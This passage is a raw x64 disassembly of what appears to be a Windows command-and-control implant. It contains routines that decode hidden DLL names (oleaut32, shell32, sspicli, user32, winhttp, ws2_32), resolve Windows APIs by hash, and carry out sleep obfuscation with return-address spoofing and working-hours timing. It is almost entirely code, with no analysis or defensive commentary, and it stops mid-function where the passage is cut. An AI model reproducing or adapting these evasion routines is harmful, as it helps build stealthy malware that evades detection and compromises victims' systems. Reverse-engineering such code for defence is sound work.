14001ba9fmov [rbx+1820], rax
14001baa6call LdrFunctionAddr
14001baabmov rcx, [rbx+2190]
14001bab2mov edx, 0xfffffffff155c7e5
14001bab7mov [rbx+1788], rax
14001babecall LdrFunctionAddr
14001bac3mov rcx, [rbx+2190]
14001bacamov edx, 0xef26c94
14001bacfmov [rbx+1796], rax
14001bad6call LdrFunctionAddr
14001badbmov rcx, [rbx+2190]
14001bae2mov edx, 0x694e2662
14001bae7mov [rbx+1828], rax
14001baeecall LdrFunctionAddr
14001baf3lea r9, [rip+53032]
14001bafamov rdx, rbp
14001bafdmov rcx, rsi
14001bb00mov r8l, 335
14001bb06mov [rbx+1836], rax
14001bb0dcall printf.constprop.0
14001bb12mov eax, 1
14001bb17jmp 0x14001bb35
14001bb19
14001bb19loc_14001bb19:
14001bb19rep stosb [rdi], al
14001bb1blea r9, [rip+53018]
14001bb22mov r8l, 338
14001bb28mov rdx, rbp
14001bb2bmov rcx, rsi
14001bb2ecall printf.constprop.0
14001bb33xor eax, eax
14001bb35
14001bb35loc_14001bb35:
14001bb35add rsp, 56
14001bb39pop rbx
14001bb3apop rsi
14001bb3bpop rdi
14001bb3cpop rbp
14001bb3dret
14001b950

14001bb3e
14001bb3e // align 0x10

14001bb40
14001bb40RtOleaut32:
14001bb40push rbp
14001bb41xor eax, eax
14001bb43mov ecx, 65
14001bb48lea rbp, [rip+0x10e51]
14001bb4fpush rdi
14001bb50push rsi
14001bb51lea rsi, [rip+52536]
14001bb58push rbx
14001bb59sub rsp, 56
14001bb5dmov [rsp+35], rax
14001bb62lea rdi, [rsp+35]
14001bb67mov [rsp+40], rax
14001bb6ccall HideChar
14001bb71mov ecx, 69
14001bb76mov [rsp+38], al
14001bb7acall HideChar
14001bb7fmov ecx, 79
14001bb84mov [rsp+37], al
14001bb88call HideChar
14001bb8dmov ecx, 76
14001bb92mov [rsp+35], al
14001bb96call HideChar
14001bb9bmov ecx, 84
14001bba0mov [rsp+36], al
14001bba4call HideChar
14001bba9mov ecx, 76
14001bbaemov [rsp+40], al
14001bbb2call HideChar
14001bbb7mov ecx, 50
14001bbbcmov [rsp+46], al
14001bbc0call HideChar
14001bbc5mov ecx, 51
14001bbcamov [rsp+42], al
14001bbcecall HideChar
14001bbd3mov ecx, 76
14001bbd8mov [rsp+41], al
14001bbdccall HideChar
14001bbe1xor ecx, ecx
14001bbe3mov [rsp+45], al
14001bbe7call HideChar
14001bbecmov ecx, 85
14001bbf1mov [rsp+47], al
14001bbf5call HideChar
14001bbfamov ecx, 68
14001bbffmov [rsp+39], al
14001bc03call HideChar
14001bc08mov ecx, 46
14001bc0dmov [rsp+44], al
14001bc11call HideChar
14001bc16mov rcx, rdi
14001bc19mov [rsp+43], al
14001bc1dcall LdrModuleLoad
14001bc22mov rbx, [rip+0x10747]
14001bc29mov ecx, 13
14001bc2etest rax, rax
14001bc31mov [rbx+2142], rax
14001bc38mov al, 0
14001bc3aje 0x14001bd09
14001bc40rep stosb [rdi], al
14001bc42mov rcx, [rbx+2142]
14001bc49mov edx, 0xfffffffff6a0d34f
14001bc4ecall LdrFunctionAddr
14001bc53mov rcx, [rbx+2142]
14001bc5amov edx, 0xffffffffe981b312
14001bc5fmov [rbx+1284], rax
14001bc66call LdrFunctionAddr
14001bc6bmov rcx, [rbx+2142]
14001bc72mov edx, 0x53ec8017
14001bc77mov [rbx+1292], rax
14001bc7ecall LdrFunctionAddr
14001bc83mov rcx, [rbx+2142]
14001bc8amov edx, 0x311f586
14001bc8fmov [rbx+1300], rax
14001bc96call LdrFunctionAddr
14001bc9bmov rcx, [rbx+2142]
14001bca2mov edx, 0x6b6a636a
14001bca7mov [rbx+1316], rax
14001bcaecall LdrFunctionAddr
14001bcb3mov rcx, [rbx+2142]
14001bcbamov edx, 0x12b6aed
14001bcbfmov [rbx+1308], rax
14001bcc6call LdrFunctionAddr
14001bccbmov rcx, [rbx+2142]
14001bcd2mov edx, 0x3351eb46
14001bcd7mov [rbx+1324], rax
14001bcdecall LdrFunctionAddr
14001bce3lea r9, [rip+52252]
14001bceamov rdx, rbp
14001bcedmov rcx, rsi
14001bcf0mov r8l, 128
14001bcf6mov [rbx+1332], rax
14001bcfdcall printf.constprop.0
14001bd02mov eax, 1
14001bd07jmp 0x14001bd25
14001bd09
14001bd09loc_14001bd09:
14001bd09rep stosb [rdi], al
14001bd0blea r9, [rip+52238]
14001bd12mov r8l, 131
14001bd18mov rdx, rbp
14001bd1bmov rcx, rsi
14001bd1ecall printf.constprop.0
14001bd23xor eax, eax
14001bd25
14001bd25loc_14001bd25:
14001bd25add rsp, 56
14001bd29pop rbx
14001bd2apop rsi
14001bd2bpop rdi
14001bd2cpop rbp
14001bd2dret
14001bb40

14001bd2e
14001bd2e // align 0x10

14001bd30
14001bd30RtShell32:
14001bd30push rbp
14001bd31xor edx, edx
14001bd33xor eax, eax
14001bd35mov ecx, 83
14001bd3apush rdi
14001bd3blea rbp, [rip+0x1169e]
14001bd42push rsi
14001bd43lea rsi, [rip+52038]
14001bd4apush rbx
14001bd4bsub rsp, 56
14001bd4fmov [rsp+44], edx
14001bd53lea rdi, [rsp+36]
14001bd58mov [rsp+36], rax
14001bd5dcall HideChar
14001bd62mov ecx, 76
14001bd67mov [rsp+36], al
14001bd6bcall HideChar
14001bd70mov ecx, 46
14001bd75mov [rsp+46], al
14001bd79call HideChar
14001bd7emov ecx, 50
14001bd83mov [rsp+43], al
14001bd87call HideChar
14001bd8cmov ecx, 68
14001bd91mov [rsp+42], al
14001bd95call HideChar
14001bd9amov ecx, 76
14001bd9fmov [rsp+44], al
14001bda3call HideChar
14001bda8mov ecx, 72
14001bdadmov [rsp+40], al
14001bdb1call HideChar
14001bdb6xor ecx, ecx
14001bdb8mov [rsp+37], al
14001bdbccall HideChar
14001bdc1mov ecx, 76
14001bdc6mov [rsp+47], al
14001bdcacall HideChar
14001bdcfmov ecx, 51
14001bdd4mov [rsp+45], al
14001bdd8call HideChar
14001bdddmov ecx, 76
14001bde2mov [rsp+41], al
14001bde6call HideChar
14001bdebmov ecx, 69
14001bdf0mov [rsp+39], al
14001bdf4call HideChar
14001bdf9mov rcx, rdi
14001bdfcmov [rsp+38], al
14001be00call LdrModuleLoad
14001be05mov rbx, [rip+0x10564]
14001be0cmov ecx, 12
14001be11test rax, rax
14001be14mov [rbx+2158], rax
14001be1bmov al, 0
14001be1dje 0x14001be58
14001be1frep stosb [rdi], al
14001be21mov rcx, [rbx+2158]
14001be28mov edx, 0xffffffffec6ba0d6
14001be2dcall LdrFunctionAddr
14001be32lea r9, [rip+52013]
14001be39mov rdx, rbp
14001be3cmov rcx, rsi
14001be3fmov r8l, 194
14001be45mov [rbx+1628], rax
14001be4ccall printf.constprop.0
14001be51mov eax, 1
14001be56jmp 0x14001be74
14001be58
14001be58loc_14001be58:
14001be58rep stosb [rdi], al
14001be5alea r9, [rip+51998]
14001be61mov r8l, 197
14001be67mov rdx, rbp
14001be6amov rcx, rsi
14001be6dcall printf.constprop.0
14001be72xor eax, eax
14001be74
14001be74loc_14001be74:
14001be74add rsp, 56
14001be78pop rbx
14001be79pop rsi
14001be7apop rdi
14001be7bpop rbp
14001be7cret
14001bd30

14001be7d
14001be7d // align 0x10

14001be80
14001be80RtSspicli:
14001be80push rbp
14001be81xor edx, edx
14001be83xor eax, eax
14001be85mov ecx, 83
14001be8apush rdi
14001be8blea rbp, [rip+0x10e5e]
14001be92push rsi
14001be93lea rsi, [rip+51702]
14001be9apush rbx
14001be9bsub rsp, 56
14001be9fmov [rsp+44], edx
14001bea3lea rdi, [rsp+36]
14001bea8mov [rsp+36], rax
14001beadcall HideChar
14001beb2xor ecx, ecx
14001beb4mov [rsp+36], al
14001beb8call HideChar
14001bebdmov ecx, 76
14001bec2mov [rsp+47], al
14001bec6call HideChar
14001becbmov ecx, 83
14001bed0mov [rsp+45], al
14001bed4call HideChar
14001bed9mov ecx, 73
14001bedemov [rsp+37], al
14001bee2call HideChar
14001bee7mov ecx, 46
14001beecmov [rsp+42], al
14001bef0call HideChar
14001bef5mov ecx, 76
14001befamov [rsp+43], al
14001befecall HideChar
14001bf03mov ecx, 68
14001bf08mov [rsp+41], al
14001bf0ccall HideChar
14001bf11mov ecx, 80
14001bf16mov [rsp+44], al
14001bf1acall HideChar
14001bf1fmov ecx, 76
14001bf24mov [rsp+38], al
14001bf28call HideChar
14001bf2dmov ecx, 67
14001bf32mov [rsp+46], al
14001bf36call HideChar
14001bf3bmov ecx, 73
14001bf40mov [rsp+40], al
14001bf44call HideChar
14001bf49mov rcx, rdi
14001bf4cmov [rsp+39], al
14001bf50call LdrModuleLoad
14001bf55mov rbx, [rip+0x10414]
14001bf5cmov ecx, 12
14001bf61test rax, rax
14001bf64mov [rbx+2206], rax
14001bf6bmov al, 0
14001bf6dje 0x14001c054
14001bf73rep stosb [rdi], al
14001bf75mov rcx, [rbx+2206]
14001bf7cmov edx, 0xffffffffd8f30a28
14001bf81call LdrFunctionAddr
14001bf86mov rcx, [rbx+2206]
14001bf8dmov edx, 0xffffffff876cc00b
14001bf92mov [rbx+1980], rax
14001bf99call LdrFunctionAddr
14001bf9emov rcx, [rbx+2206]
14001bfa5mov edx, 0xffffffff8aba5ef1
14001bfaamov [rbx+1988], rax
14001bfb1call LdrFunctionAddr
14001bfb6mov rcx, [rbx+2206]
14001bfbdmov edx, 0x1da98b7d
14001bfc2mov [rbx+1996], rax
14001bfc9call LdrFunctionAddr
14001bfcemov rcx, [rbx+2206]
14001bfd5mov edx, 0xffffffff916b1321
14001bfdamov [rbx+2004], rax
14001bfe1call LdrFunctionAddr
14001bfe6mov rcx, [rbx+2206]
14001bfedmov edx, 0x6d1a042d
14001bff2mov [rbx+2012], rax
14001bff9call LdrFunctionAddr
14001bffemov rcx, [rbx+2206]
14001c005mov edx, 0x1c698f42
14001c00amov [rbx+1956], rax
14001c011call LdrFunctionAddr
14001c016mov rcx, [rbx+2206]
14001c01dmov edx, 0xffffffffbca01141
14001c022mov [rbx+1964], rax
14001c029call LdrFunctionAddr
14001c02elea r9, [rip+51789]
14001c035mov rdx, rbp
14001c038mov rcx, rsi
14001c03bmov r8l, 419
14001c041mov [rbx+1972], rax
14001c048call printf.constprop.0
14001c04dmov eax, 1
14001c052jmp 0x14001c070
14001c054
14001c054loc_14001c054:
14001c054rep stosb [rdi], al
14001c056lea r9, [rip+51774]
14001c05dmov r8l, 422
14001c063mov rdx, rbp
14001c066mov rcx, rsi
14001c069call printf.constprop.0
14001c06exor eax, eax
14001c070
14001c070loc_14001c070:
14001c070add rsp, 56
14001c074pop rbx
14001c075pop rsi
14001c076pop rdi
14001c077pop rbp
14001c078ret
14001be80

14001c079
14001c079 // align 0x10

14001c080
14001c080RtUser32:
14001c080push rbp
14001c081xor edx, edx
14001c083xor eax, eax
14001c085mov ecx, 83
14001c08apush rdi
14001c08blea rbp, [rip+0x113fe]
14001c092push rsi
14001c093lea rsi, [rip+51190]
14001c09apush rbx
14001c09bsub rsp, 56
14001c09fmov [rsp+37], rax
14001c0a4lea rdi, [rsp+37]
14001c0a9mov [rsp+44], edx
14001c0adcall HideChar
14001c0b2mov ecx, 85
14001c0b7mov [rsp+38], al
14001c0bbcall HideChar
14001c0c0xor ecx, ecx
14001c0c2mov [rsp+37], al
14001c0c6call HideChar
14001c0cbmov ecx, 46
14001c0d0mov [rsp+47], al
14001c0d4call HideChar
14001c0d9mov ecx, 76
14001c0demov [rsp+43], al
14001c0e2call HideChar
14001c0e7mov ecx, 68
14001c0ecmov [rsp+45], al
14001c0f0call HideChar
14001c0f5mov ecx, 50
14001c0famov [rsp+44], al
14001c0fecall HideChar
14001c103mov ecx, 82
14001c108mov [rsp+42], al
14001c10ccall HideChar
14001c111mov ecx, 76
14001c116mov [rsp+40], al
14001c11acall HideChar
14001c11fmov ecx, 69
14001c124mov [rsp+46], al
14001c128call HideChar
14001c12dmov ecx, 51
14001c132mov [rsp+39], al
14001c136call HideChar
14001c13bmov rcx, rdi
14001c13emov [rsp+41], al
14001c142call LdrModuleLoad
14001c147mov rbx, [rip+0x10222]
14001c14emov ecx, 11
14001c153test rax, rax
14001c156mov [rbx+2150], rax
14001c15dmov al, 0
14001c15fje 0x14001c1e6
14001c165rep stosb [rdi], al
14001c167mov rcx, [rbx+2150]
14001c16emov edx, 0x29bbc91e
14001c173call LdrFunctionAddr
14001c178mov rcx, [rbx+2150]
14001c17fmov edx, 0x287c6401
14001c184mov [rbx+1660], rax
14001c18bcall LdrFunctionAddr
14001c190mov rcx, [rbx+2150]
14001c197mov edx, 0xd2b106c
14001c19cmov [rbx+1700], rax
14001c1a3call LdrFunctionAddr
14001c1a8mov rcx, [rbx+2150]
14001c1afmov edx, 0x6fbc050d
14001c1b4mov [rbx+1708], rax
14001c1bbcall LdrFunctionAddr
14001c1c0lea r9, [rip+51057]
14001c1c7mov rdx, rbp
14001c1camov rcx, rsi
14001c1cdmov r8l, 162
14001c1d3mov [rbx+1780], rax
14001c1dacall printf.constprop.0
14001c1dfmov eax, 1
14001c1e4jmp 0x14001c202
14001c1e6
14001c1e6loc_14001c1e6:
14001c1e6rep stosb [rdi], al
14001c1e8lea r9, [rip+51041]
14001c1efmov r8l, 165
14001c1f5mov rdx, rbp
14001c1f8mov rcx, rsi
14001c1fbcall printf.constprop.0
14001c200xor eax, eax
14001c202
14001c202loc_14001c202:
14001c202add rsp, 56
14001c206pop rbx
14001c207pop rsi
14001c208pop rdi
14001c209pop rbp
14001c20aret
14001c080

14001c20b
14001c20b // align 0x10

14001c210
14001c210RtWinHttp:
14001c210push rbp
14001c211xor edx, edx
14001c213xor eax, eax
14001c215mov ecx, 87
14001c21apush rdi
14001c21blea rbp, [rip+0x1043e]
14001c222push rsi
14001c223lea rsi, [rip+50790]
14001c22apush rbx
14001c22bsub rsp, 56
14001c22fmov [rsp+44], edx
14001c233lea rdi, [rsp+36]
14001c238mov [rsp+36], rax
14001c23dcall HideChar
14001c242mov ecx, 78
14001c247mov [rsp+36], al
14001c24bcall HideChar
14001c250mov ecx, 46
14001c255mov [rsp+38], al
14001c259call HideChar
14001c25exor ecx, ecx
14001c260mov [rsp+43], al
14001c264call HideChar
14001c269mov ecx, 76
14001c26emov [rsp+47], al
14001c272call HideChar
14001c277mov ecx, 84
14001c27cmov [rsp+46], al
14001c280call HideChar
14001c285mov ecx, 68
14001c28amov [rsp+40], al
14001c28ecall HideChar
14001c293mov ecx, 73
14001c298mov [rsp+44], al
14001c29ccall HideChar
14001c2a1mov ecx, 76
14001c2a6mov [rsp+37], al
14001c2aacall HideChar
14001c2afmov ecx, 80
14001c2b4mov [rsp+45], al
14001c2b8call HideChar
14001c2bdmov ecx, 72
14001c2c2mov [rsp+42], al
14001c2c6call HideChar
14001c2cbmov ecx, 84
14001c2d0mov [rsp+39], al
14001c2d4call HideChar
14001c2d9mov rcx, rdi
14001c2dcmov [rsp+41], al
14001c2e0call LdrModuleLoad
14001c2e5mov rbx, [rip+0x10084]
14001c2ecmov ecx, 12
14001c2f1test rax, rax
14001c2f4mov [rbx+2222], rax
14001c2fbmov al, 0
14001c2fdje 0x14001c444
14001c303rep stosb [rdi], al
14001c305mov rcx, [rbx+2222]
14001c30cmov edx, 0x613eace5
14001c311call LdrFunctionAddr
14001c316mov rcx, [rbx+2222]
14001c31dmov edx, 0xffffffff81e0c81d
14001c322mov [rbx+1180], rax
14001c329call LdrFunctionAddr
14001c32emov rcx, [rbx+2222]
14001c335mov edx, 0xffffffffb06d900e
14001c33amov [rbx+1188], rax
14001c341call LdrFunctionAddr
14001c346mov rcx, [rbx+2222]
14001c34dmov edx, 0x5b6ad378
14001c352mov [rbx+1196], rax
14001c359call LdrFunctionAddr
14001c35emov rcx, [rbx+2222]
14001c365mov edx, 0xffffffffa7355f15
14001c36amov [rbx+1204], rax
14001c371call LdrFunctionAddr
14001c376mov rcx, [rbx+2222]
14001c37dmov edx, 0x7739d0e6
14001c382mov [rbx+1212], rax
14001c389call LdrFunctionAddr
14001c38emov rcx, [rbx+2222]
14001c395mov edx, 0xffffffffa2c0b0e1
14001c39amov [rbx+1220], rax
14001c3a1call LdrFunctionAddr
14001c3a6mov rcx, [rbx+2222]
14001c3admov edx, 0xffffffffae351ae5
14001c3b2mov [rbx+1228], rax
14001c3b9call LdrFunctionAddr
14001c3bemov rcx, [rbx+2222]
14001c3c5mov edx, 0x75064b89
14001c3camov [rbx+1236], rax
14001c3d1call LdrFunctionAddr
14001c3d6mov rcx, [rbx+2222]
14001c3ddmov edx, 0xffffffffcc1a89c5
14001c3e2mov [rbx+1244], rax
14001c3e9call LdrFunctionAddr
14001c3eemov rcx, [rbx+2222]
14001c3f5mov edx, 0x28197a2
14001c3famov [rbx+1252], rax
14001c401call LdrFunctionAddr
14001c406mov rcx, [rbx+2222]
14001c40dmov edx, 0xffffffffa2cf3c6f
14001c412mov [rbx+1260], rax
14001c419call LdrFunctionAddr
14001c41elea r9, [rip+50871]
14001c425mov rdx, rbp
14001c428mov rcx, rsi
14001c42bmov r8l, 492
14001c431mov [rbx+1268], rax
14001c438call printf.constprop.0
14001c43dmov eax, 1
14001c442jmp 0x14001c460
14001c444
14001c444loc_14001c444:
14001c444rep stosb [rdi], al
14001c446lea r9, [rip+50856]
14001c44dmov r8l, 495
14001c453mov rdx, rbp
14001c456mov rcx, rsi
14001c459call printf.constprop.0
14001c45exor eax, eax
14001c460
14001c460loc_14001c460:
14001c460add rsp, 56
14001c464pop rbx
14001c465pop rsi
14001c466pop rdi
14001c467pop rbp
14001c468ret
14001c210

14001c469
14001c469 // align 0x10

14001c470
14001c470RtWs2_32:
14001c470push rbp
14001c471xor edx, edx
14001c473xor eax, eax
14001c475mov ecx, 87
14001c47apush rdi
14001c47blea rbp, [rip+0x10b6e]
14001c482push rsi
14001c483lea rsi, [rip+50182]
14001c48apush rbx
14001c48bsub rsp, 56
14001c48fmov [rsp+37], rax
14001c494lea rdi, [rsp+37]
14001c499mov [rsp+44], edx
14001c49dcall HideChar
14001c4a2mov ecx, 50
14001c4a7mov [rsp+37], al
14001c4abcall HideChar
14001c4b0mov ecx, 51
14001c4b5mov [rsp+39], al
14001c4b9call HideChar
14001c4bemov ecx, 46
14001c4c3mov [rsp+41], al
14001c4c7call HideChar
14001c4ccmov ecx, 76
14001c4d1mov [rsp+43], al
14001c4d5call HideChar
14001c4damov ecx, 83
14001c4dfmov [rsp+46], al
14001c4e3call HideChar
14001c4e8mov ecx, 95
14001c4edmov [rsp+38], al
14001c4f1call HideChar
14001c4f6mov ecx, 50
14001c4fbmov [rsp+40], al
14001c4ffcall HideChar
14001c504xor ecx, ecx
14001c506mov [rsp+42], al
14001c50acall HideChar
14001c50fmov ecx, 76
14001c514mov [rsp+47], al
14001c518call HideChar
14001c51dmov ecx, 68
14001c522mov [rsp+45], al
14001c526call HideChar
14001c52bmov rcx, rdi
14001c52emov [rsp+44], al
14001c532call LdrModuleLoad
14001c537mov rbx, [rip+65074]
14001c53emov ecx, 11
14001c543test rax, rax
14001c546mov [rbx+2198], rax
14001c54dmov al, 0
14001c54fje 0x14001c6c6
14001c555rep stosb [rdi], al
14001c557mov rcx, [rbx+2198]
14001c55emov edx, 0x142e89c3
14001c563call LdrFunctionAddr
14001c568mov rcx, [rbx+2198]
14001c56fmov edx, 0x32206eb8
14001c574mov [rbx+1844], rax
14001c57bcall LdrFunctionAddr
14001c580mov rcx, [rbx+2198]
14001c587mov edx, 0x8a4d8fa
14001c58cmov [rbx+1852], rax
14001c593call LdrFunctionAddr
14001c598mov rcx, [rbx+2198]
14001c59fmov edx, 0xffffffff9c1d912e
14001c5a4mov [rbx+1860], rax
14001c5abcall LdrFunctionAddr
14001c5b0mov rcx, [rbx+2198]
14001c5b7mov edx, 0xffffffffd5e978a9
14001c5bcmov [rbx+1868], rax
14001c5c3call LdrFunctionAddr
14001c5c8mov rcx, [rbx+2198]
14001c5cfmov edx, 0x7c828162
14001c5d4mov [rbx+1876], rax
14001c5dbcall LdrFunctionAddr
14001c5e0mov rcx, [rbx+2198]
14001c5e7mov edx, 0xffffffffbe7f0354
14001c5ecmov [rbx+1884], rax
14001c5f3call LdrFunctionAddr
14001c5f8mov rcx, [rbx+2198]
14001c5ffmov edx, 0xffffffffa460acf5
14001c604mov [rbx+1892], rax
14001c60bcall LdrFunctionAddr
14001c610mov rcx, [rbx+2198]
14001c617mov edx, 0x185953a4
14001c61cmov [rbx+1900], rax
14001c623call LdrFunctionAddr
14001c628mov rcx, [rbx+2198]
14001c62fmov edx, 0x7c8b3515
14001c634mov [rbx+1908], rax
14001c63bcall LdrFunctionAddr
14001c640mov rcx, [rbx+2198]
14001c647mov edx, 0x7c8bc2cf
14001c64cmov [rbx+1916], rax
14001c653call LdrFunctionAddr
14001c658mov rcx, [rbx+2198]
14001c65fmov edx, 0xffffffffe73478ef
14001c664mov [rbx+1924], rax
14001c66bcall LdrFunctionAddr
14001c670mov rcx, [rbx+2198]
14001c677mov edx, 0x4b91706c
14001c67cmov [rbx+1932], rax
14001c683call LdrFunctionAddr
14001c688mov rcx, [rbx+2198]
14001c68fmov edx, 0x307204e
14001c694mov [rbx+1940], rax
14001c69bcall LdrFunctionAddr
14001c6a0lea r9, [rip+50093]
14001c6a7mov rdx, rbp
14001c6aamov rcx, rsi
14001c6admov r8l, 379
14001c6b3mov [rbx+1948], rax
14001c6bacall printf.constprop.0
14001c6bfmov eax, 1
14001c6c4jmp 0x14001c6e2
14001c6c6
14001c6c6loc_14001c6c6:
14001c6c6rep stosb [rdi], al
14001c6c8lea r9, [rip+50077]
14001c6cfmov r8l, 382
14001c6d5mov rdx, rbp
14001c6d8mov rcx, rsi
14001c6dbcall printf.constprop.0
14001c6e0xor eax, eax
14001c6e2
14001c6e2loc_14001c6e2:
14001c6e2add rsp, 56
14001c6e6pop rbx
14001c6e7pop rsi
14001c6e8pop rdi
14001c6e9pop rbp
14001c6earet
14001c470

14001c6eb
14001c6eb // align 0x10

14001c6f0
14001c6f0Rva2Offset:
14001c6f0mov eax, ecx
14001c6f2movsxd rcx, [rdx+60]
14001c6f6add rcx, rdx
14001c6f9movzx edx, [rcx+20]
14001c6fdlea rdx, [rcx+rdx+24]
14001c702cmp eax, [rdx+20]
14001c705jb 0x14001c73a
14001c707mov r9w, [rcx+6]
14001c70cxor ecx, ecx
14001c70e
14001c70eloc_14001c70e:
14001c70ecmp r9w, cx
14001c712je 0x14001c738
14001c714mov r8l, [rdx+12]
14001c718cmp eax, r8l
14001c71bjb 0x14001c730
14001c71dmov r10l, [rdx+16]
14001c721add r10l, r8l
14001c724cmp eax, r10l
14001c727jae 0x14001c730
14001c729add eax, [rdx+20]
14001c72csub eax, r8l
14001c72fret
14001c730
14001c730loc_14001c730:
14001c730inc ecx
14001c732add rdx, 40
14001c736jmp 0x14001c70e
14001c738
14001c738loc_14001c738:
14001c738xor eax, eax
14001c73a
14001c73aloc_14001c73a:
14001c73aret
14001c6f0

14001c73b
14001c73b // align 0x10

14001c740
14001c740SharedSleep:
14001c740push rbx
14001c741mov rbx, rcx
14001c744imul rbx, rbx, 1000
14001c74bsub rsp, 32
14001c74fcall RandomNumber32
14001c754call SharedTimestamp
14001c759add rbx, rax
14001c75c
14001c75cloc_14001c75c:
14001c75ccall SharedTimestamp
14001c761cmp rax, rbx
14001c764jb 0x14001c75c
14001c766add rsp, 32
14001c76apop rbx
14001c76bjmp 0x14001c770
14001c740

14001c770
14001c770SharedTimestamp:
14001c770mov eax, [0x7ffe0014]
14001c777mov edx, [0x7ffe001c]
14001c77eshl rdx, 32
14001c782or rax, rdx
14001c785ret
14001c770

14001c786
14001c786 // align 0x10

14001c790
14001c790ShuffleArray:
14001c790push r12
14001c792lea r12, [rdx-1]
14001c796push rbp
14001c797mov ebp, 32767
14001c79cpush rdi
14001c79dmov rdi, rdx
14001c7a0push rsi
14001c7a1mov rsi, rcx
14001c7a4push rbx
14001c7a5xor ebx, ebx
14001c7a7sub rsp, 32
14001c7ab
14001c7abloc_14001c7ab:
14001c7abcmp rbx, r12
14001c7aejae 0x14001c7f1
14001c7b0call RandomNumber32
14001c7b5mov r8, rdi
14001c7b8xor edx, edx
14001c7basub r8, rbx
14001c7bdmov ecx, eax
14001c7bfmov rax, rbp
14001c7c2div r8
14001c7c5and ecx, 32767
14001c7cbxor edx, edx
14001c7cdlea r8, [rax+1]
14001c7d1mov rax, rcx
14001c7d4mov rcx, [rsi+8*rbx]
14001c7d8div r8
14001c7dbadd rax, rbx
14001c7delea rax, [rsi+8*rax]
14001c7e2mov rdx, [rax]
14001c7e5mov [rax], rcx
14001c7e8mov [rsi+8*rbx], rdx
14001c7ecinc rbx
14001c7efjmp 0x14001c7ab
14001c7f1
14001c7f1loc_14001c7f1:
14001c7f1add rsp, 32
14001c7f5pop rbx
14001c7f6pop rsi
14001c7f7pop rdi
14001c7f8pop rbp
14001c7f9pop r12
14001c7fbret
14001c790

14001c7fc
14001c7fc // align 0x10

14001c800
14001c800SleepObf:
14001c800push rdi
14001c801push rsi
14001c802push rbx
14001c803add rsp, -128
14001c807call SleepTime
14001c80cmov rbx, [rip+64349]
14001c813mov edx, [rbx+210]
14001c819test eax, eax
14001c81bje 0x14001c925
14001c821mov r9l, [rbx+2238]
14001c828mov esi, eax
14001c82atest r9l, r9l
14001c82dje 0x14001c84d
14001c82fmov r8l, 732
14001c835lea rdx, [rip+65076]
14001c83clea rcx, [rip+50371]
14001c843call printf
14001c848jmp 0x14001c8df
14001c84d
14001c84dloc_14001c84d:
14001c84dcmp edx, 2
14001c850ja 0x14001c85c
14001c852test edx, edx
14001c854je 0x14001c8df
14001c85ajmp 0x14001c8d4
14001c85c
14001c85cloc_14001c85c:
14001c85ccmp edx, 3
14001c85fjne 0x14001c8df
14001c861mov eax, r9l
14001c864lea rdi, [rsp+108]
14001c869mov ecx, 5
14001c86exor edx, edx
14001c870rep stosd [rdi], eax
14001c872lea rdi, [rsp+108]
14001c877mov rcx, rdi
14001c87acall [rbx+1492]
14001c880mov [rsp+112], rax
14001c885test rax, rax
14001c888je 0x14001c925
14001c88emov ecx, 24576
14001c893mov [rsp+32], rdi
14001c898xor r8l, r8l
14001c89bxor edx, edx
14001c89dlea r9, [rip-38132]
14001c8a4call [rbx+1516]
14001c8aamov [rsp+120], rax
14001c8afmov rcx, rax
14001c8b2test rax, rax
14001c8b5je 0x14001c8cc
14001c8b7mov [rsp+108], esi
14001c8bbcall [rbx+1508]
14001c8c1mov rcx, [rsp+120]
14001c8c6call [rbx+1524]
14001c8cc
14001c8ccloc_14001c8cc:
14001c8cccall [rbx+1500]
14001c8d2jmp 0x14001c925
14001c8d4
14001c8d4loc_14001c8d4:
14001c8d4mov ecx, eax
14001c8d6call TimerObf
14001c8dbtest eax, eax
14001c8ddjne 0x14001c925
14001c8df
14001c8dfloc_14001c8df:
14001c8dfmov rcx, [rbx+2118]
14001c8e6mov r8, [rbx+1692]
14001c8edor r9, -1
14001c8f1movsxd rax, [rcx+60]
14001c8f5mov edx, [rcx+rax+80]
14001c8f9xor eax, eax
14001c8fbmov [rsp+80], rax
14001c900mov [rsp+72], rax
14001c905mov [rsp+64], rax
14001c90amov [rsp+56], rax
14001c90fmov [rsp+48], rax
14001c914mov [rsp+40], rax
14001c919mov eax, esi
14001c91bmov [rsp+32], rax
14001c920call SpoofRetAddr
14001c925
14001c925loc_14001c925:
14001c925sub rsp, -128
14001c929pop rbx
14001c92apop rsi
14001c92bpop rdi
14001c92cret
14001c800

14001c92d
14001c92d // align 0x10

14001c930
14001c930SleepTime:
14001c930push r12
14001c932xor eax, eax
14001c934push rbp
14001c935push rdi
14001c936push rsi
14001c937push rbx
14001c938sub rsp, 48
14001c93cmov r12, [rip+64045]
14001c943mov [rsp+32], rax
14001c948imul ebx, [r12+96], 1000
14001c951mov [rsp+40], rax
14001c956mov esi, [r12+100]
14001c95bmov edi, [r12+132]
14001c963call InWorkingHours
14001c968test eax, eax
14001c96ajne 0x14001c9f0
14001c970test ebx, ebx
14001c972je 0x14001ca25
14001c978mov edx, edi
14001c97amov ebp, edi
14001c97clea rcx, [rsp+32]
14001c981mov ebx, edi
14001c983shr edx, 11
14001c986shr ebp, 6
14001c989mov esi, edx
14001c98bshr ebx, 17
14001c98eand ebp, 31
14001c991call [r12+1140]
14001c999and ebx, 31
14001c99cand esi, 63
14001c99fmovzx r8l, [rsp+40]
14001c9a5movzx ecx, [rsp+42]
14001c9aamovzx ebx, bx
14001c9admovzx edx, si
14001c9b0cmp r8w, bp
14001c9b4jne 0x14001c9c0
14001c9b6and edi, 63
14001c9b9cmp di, [rsp+42]
14001c9bejmp 0x14001c9c4
14001c9c0
14001c9c0loc_14001c9c0:
14001c9c0cmp bp, r8w
14001c9c4
14001c9c4loc_14001c9c4:
14001c9c4jae 0x14001c9de
14001c9c6mov eax, 23
14001c9cbimul ebx, ebx, 60
14001c9cesub eax, r8l
14001c9d1imul eax, eax, 60
14001c9d4add ebx, edx
14001c9d6sub eax, ecx
14001c9d8lea ebx, [rax+rbx+60]
14001c9dcjmp 0x14001c9e8
14001c9de
14001c9deloc_14001c9de:
14001c9desub ebx, r8l
14001c9e1sub edx, ecx
14001c9e3imul ebx, ebx, 60
14001c9e6add ebx, edx
14001c9e8
14001c9e8loc_14001c9e8:
14001c9e8imul ebx, ebx, 1000
14001c9eejmp 0x14001ca25
14001c9f0
14001c9f0loc_14001c9f0:
14001c9f0imul esi, ebx
14001c9f3cmp esi, 99
14001c9f6jbe 0x14001ca25
14001c9f8call RandomNumber32
14001c9fdxor edx, edx
14001c9ffmov r8l, 100
14001ca05mov ecx, eax
14001ca07mov eax, esi
14001ca09div r8l
14001ca0cxor edx, edx
